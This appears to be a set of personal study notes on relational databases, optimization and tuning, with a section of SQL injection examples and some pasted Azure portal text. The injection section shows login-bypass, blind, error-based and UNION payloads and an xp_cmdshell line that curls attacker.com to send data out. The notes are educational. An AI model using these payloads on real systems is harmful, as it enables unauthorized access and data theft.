Database+Sql inj
Database+Sql inj
A database is a repository, where one or more users can save, update and retrieve
information according to their requirements.
Relational database
A relational database (RDB) is a way of structuring information in tables, rows,
and columns. An RDB has the ability to establish links—or relationships–between
information by joining tables, which makes it easy to understand and gain insights
about the relationship between various data points.
RDBMS
A relational database management system is a software layer of tools and services
that manages relational tables.
SQL
Structure Query Language is a powerful and popular language for manipulating data
in relational databases.
Database Security
Users and Permissions
SQL Injection Prevention
Encryption
Database Optimization
Database optimization generally refers to the process of designing and structuring
a database to ensure it operates efficiently and effectively from the start. It
focuses on:
Schema Design: Creating a database schema that avoids redundancy and ensures data
integrity. This involves normalization (organizing data to reduce redundancy) and
choosing appropriate data types.
Indexing: Deciding which columns to index to speed up query performance. Proper
indexing helps in retrieving data quickly and efficiently.
Data Modeling: Designing the database structure and relationships between tables to
optimize performance and scalability.
Choosing Storage: Selecting the appropriate storage engines or formats based on the
needs of the application (e.g., InnoDB vs. MyISAM in MySQL).
Database Tuning
Database tuning involves adjusting and configuring the database and its environment
to improve performance. This is more about fine-tuning existing databases and
includes:
Query Optimization: Analyzing and modifying queries to run more efficiently. This
may involve rewriting queries, using better indexing strategies, or avoiding
complex joins and subqueries.
Resource Allocation: Managing and allocating resources like CPU, memory, and disk
I/O to ensure the database performs optimally under various loads.
Summary
Database Optimization is about designing and setting up the database structure and
schema to ensure efficient performance from the start.
Database Tuning is about adjusting and configuring the database and its environment
to enhance performance based on current usage patterns and workloads.
sql
Copy code
SELECT * FROM Users WHERE Username = 'user_input' AND Password = 'password_input';
An attacker might input ' OR '1'='1' for both fields, potentially allowing
unauthorized access.
Boolean-Based Blind SQL Injection: The attacker sends queries that ask the database
to return true or false based on certain conditions. For example, checking if the
first letter of the username is 'A':
sql
Copy code
SELECT * FROM Users WHERE Username = 'user_input' AND 'A' = SUBSTRING(Username, 1,
1);
The application's response will reveal if the condition is true or false.
Time-Based Blind SQL Injection: The attacker sends queries that cause the database
to wait for a specified period before responding. For example:
sql
Copy code
SELECT * FROM Users WHERE Username = 'user_input' AND IF(1=1, SLEEP(5), 0);
The delay in the application's response indicates whether the condition was true.
Example: If the database returns an error message that includes the structure of
the database, attackers can use this information to craft further attacks:
sql
Copy code
SELECT * FROM Users WHERE Username = 'user_input' AND 1=CONVERT(int, 'string');
This might produce an error revealing details about the database schema.
sql
Copy code
SELECT Name, Age FROM Users WHERE ID = 'user_input';
An attacker might inject:
sql
Copy code
' UNION SELECT username, password FROM Admins--
This could combine the results of the original query with data from the Admins
table.
sql
Copy code
SELECT * FROM Users WHERE Username = 'user_input'; EXEC xp_cmdshell('curl
http://attacker.com/collect?data=' + @@version);
If the server supports xp_cmdshell, it could make an HTTP request to the attacker's
server, potentially exfiltrating data.
Example: An attacker might input a malicious payload into a profile field. The
payload might not cause an issue initially but could lead to an attack when the
profile information is later used in a query.
Test (imsami/Test)
SQL database
7 minutes ago
DBData
Resource group
8 minutes ago
imsami
SQL server
47 minutes ago
Azure subscription 1
Subscription
------------------
A subscription in Azure is a container that holds a collection of connected
business or technical resources. The resources are used and billed as a group.
Multiple subscriptions with various access management policies and invoicing
procedures can be added to an Azure account.
A resource group is a container that holds related resources for an Azure solution.
The resource group can include all the resources for the solution, or only those
resources that you want to manage as a group.